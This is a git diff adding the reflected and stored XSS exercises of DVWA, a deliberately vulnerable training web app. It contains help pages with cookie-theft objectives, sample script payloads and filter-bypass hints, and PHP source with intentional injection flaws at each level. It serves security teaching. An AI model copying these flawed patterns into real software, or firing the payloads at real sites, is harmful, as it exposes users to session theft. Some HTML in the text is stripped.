    Objective

    +

    One way or another, steal the cookie of a logged in user.

    + +


    + +

    Low Level

    +

    Low level will not check the requested input, before including it to be used in the output text.

    +
    Spoiler: ?name=<script>alert("XSS");</script>.
    + +
    + +

    Medium Level

    +

    The developer has tried to add a simple pattern matching to remove any references to "<script>", to disable any JavaScript.

    +
    Spoiler: Its cAse sENSiTiVE.
    + +
    + +

    High Level

    +

    The developer now believes they can disable all JavaScript by removing the pattern "<s*c*r*i*p*t".

    +
    Spoiler: HTML events.
    + +
    + +

    Impossible Level

    +

    Using inbuilt PHP functions (such as ""), + its possible to escape any values which would alter the behaviour of the input.

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/xss_r/index.php b/DVWA/vulnerabilities/xss_r/index.php new file mode 100644 index 00000000..76749c20 --- /dev/null +++ b/DVWA/vulnerabilities/xss_r/index.php @@ -0,0 +1,66 @@ + +

    Vulnerability: Reflected Cross Site Scripting (XSS)

    + +
    +
    +

    + What's your name? + + +

    \n"; + +if( $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + +$page[ 'body' ] .= " +
    + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/xss-filter-evasion-cheatsheet' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/xss-faq.html' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.scriptalert1.com/' ) . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/xss_r/source/high.php b/DVWA/vulnerabilities/xss_r/source/high.php new file mode 100644 index 00000000..a3983625 --- /dev/null +++ b/DVWA/vulnerabilities/xss_r/source/high.php @@ -0,0 +1,14 @@ +Hello {$name}"; +} + +?> diff --git a/DVWA/vulnerabilities/xss_r/source/impossible.php b/DVWA/vulnerabilities/xss_r/source/impossible.php new file mode 100644 index 00000000..34f35c26 --- /dev/null +++ b/DVWA/vulnerabilities/xss_r/source/impossible.php @@ -0,0 +1,18 @@ +Hello {$name}"; +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/xss_r/source/low.php b/DVWA/vulnerabilities/xss_r/source/low.php new file mode 100644 index 00000000..1cbeba4b --- /dev/null +++ b/DVWA/vulnerabilities/xss_r/source/low.php @@ -0,0 +1,11 @@ +Hello ' . $_GET[ 'name' ] . ''; +} + +?> diff --git a/DVWA/vulnerabilities/xss_r/source/medium.php b/DVWA/vulnerabilities/xss_r/source/medium.php new file mode 100644 index 00000000..63a305ba --- /dev/null +++ b/DVWA/vulnerabilities/xss_r/source/medium.php @@ -0,0 +1,14 @@ +', '', $_GET[ 'name' ] ); + + // Feedback for end user + $html .= "
    Hello {$name}
    "; +} + +?> diff --git a/DVWA/vulnerabilities/xss_s/help/help.php b/DVWA/vulnerabilities/xss_s/help/help.php new file mode 100644 index 00000000..0bfd3b2e --- /dev/null +++ b/DVWA/vulnerabilities/xss_s/help/help.php @@ -0,0 +1,56 @@ +
    +

    Help - Cross Site Scripting (Stored)

    + +
    + + + + +
    +

    "Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, + to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output, + without validating or encoding it.

    + +

    An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, + and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other + sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

    + +

    The XSS is stored in the database. The XSS is permanent, until the database is reset or the payload is manually deleted.

    + +


    + +

    Objective

    +

    Redirect everyone to a web page of your choosing.

    + +


    + +

    Low Level

    +

    Low level will not check the requested input, before including it to be used in the output text.

    +
    Spoiler: Either name or message field: <script>alert("XSS");</script>.
    + +
    + +

    Medium Level

    +

    The developer had added some protection, however hasn't done every field the same way.

    +
    Spoiler: name field: <sCriPt>alert("XSS");</sCriPt>.
    + +
    + +

    High Level

    +

    The developer believe they have disabled all script usage by removing the pattern "<s*c*r*i*p*t".

    +
    Spoiler: HTML events.
    + +
    + +

    Impossible Level

    +

    Using inbuilt PHP functions (such as ""), + its possible to escape any values which would alter the behaviour of the input.

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/xss_s/index.php b/DVWA/vulnerabilities/xss_s/index.php new file mode 100644 index 00000000..59afba68 --- /dev/null +++ b/DVWA/vulnerabilities/xss_s/index.php @@ -0,0 +1,87 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); +} + +$vulnerabilityFile = ''; +switch( dvwaSecurityLevelGet() ) { + case 'low': + $vulnerabilityFile = 'low.php'; + break; + case 'medium': + $vulnerabilityFile = 'medium.php'; + break; + case 'high': + $vulnerabilityFile = 'high.php'; + break; + default: + $vulnerabilityFile = 'impossible.php'; + break; +} + +require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_s/source/{$vulnerabilityFile}"; + +$page[ 'body' ] .= " +
    +

    Vulnerability: Stored Cross Site Scripting (XSS)

    + +
    +
    + + + + + + + + + + + + + +
    Name *
    Message *
      + + +
    \n"; + +if( $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + +$page[ 'body' ] .= " +
    + {$html} +
    +
    + + " . dvwaGuestbook() . " +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/xss-filter-evasion-cheatsheet' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/xss-faq.html' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.scriptalert1.com/' ) . "
    • +
    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/xss_s/source/high.php b/DVWA/vulnerabilities/xss_s/source/high.php new file mode 100644 index 00000000..00ee1007 --- /dev/null +++ b/DVWA/vulnerabilities/xss_s/source/high.php @@ -0,0 +1,24 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + //mysql_close(); +} + +?> diff --git a/DVWA/vulnerabilities/xss_s/source/impossible.php b/DVWA/vulnerabilities/xss_s/source/impossible.php new file mode 100644 index 00000000..9cf3f077 --- /dev/null +++ b/DVWA/vulnerabilities/xss_s/source/impossible.php @@ -0,0 +1,31 @@ +prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); + $data->bindParam( ':message', $message, PDO::PARAM_STR ); + $data->bindParam( ':name', $name, PDO::PARAM_STR ); + $data->execute(); +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/xss_s/source/low.php b/DVWA/vulnerabilities/xss_s/source/low.php new file mode 100644 index 00000000..94ff4b45 --- /dev/null +++ b/DVWA/vulnerabilities/xss_s/source/low.php @@ -0,0 +1,22 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + //mysql_close(); +} + +?> diff --git a/DVWA/vulnerabilities/xss_s/source/medium.php b/DVWA/vulnerabilities/xss_s/source/medium.php new file mode 100644 index 00000000..cccefa31 --- /dev/null +++ b/DVWA/vulnerabilities/xss_s/source/medium.php @@ -0,0 +1,24 @@ +', '', $name ); + $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); + + // Update database + $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    ' ); + + //mysql_close(); +} + +?>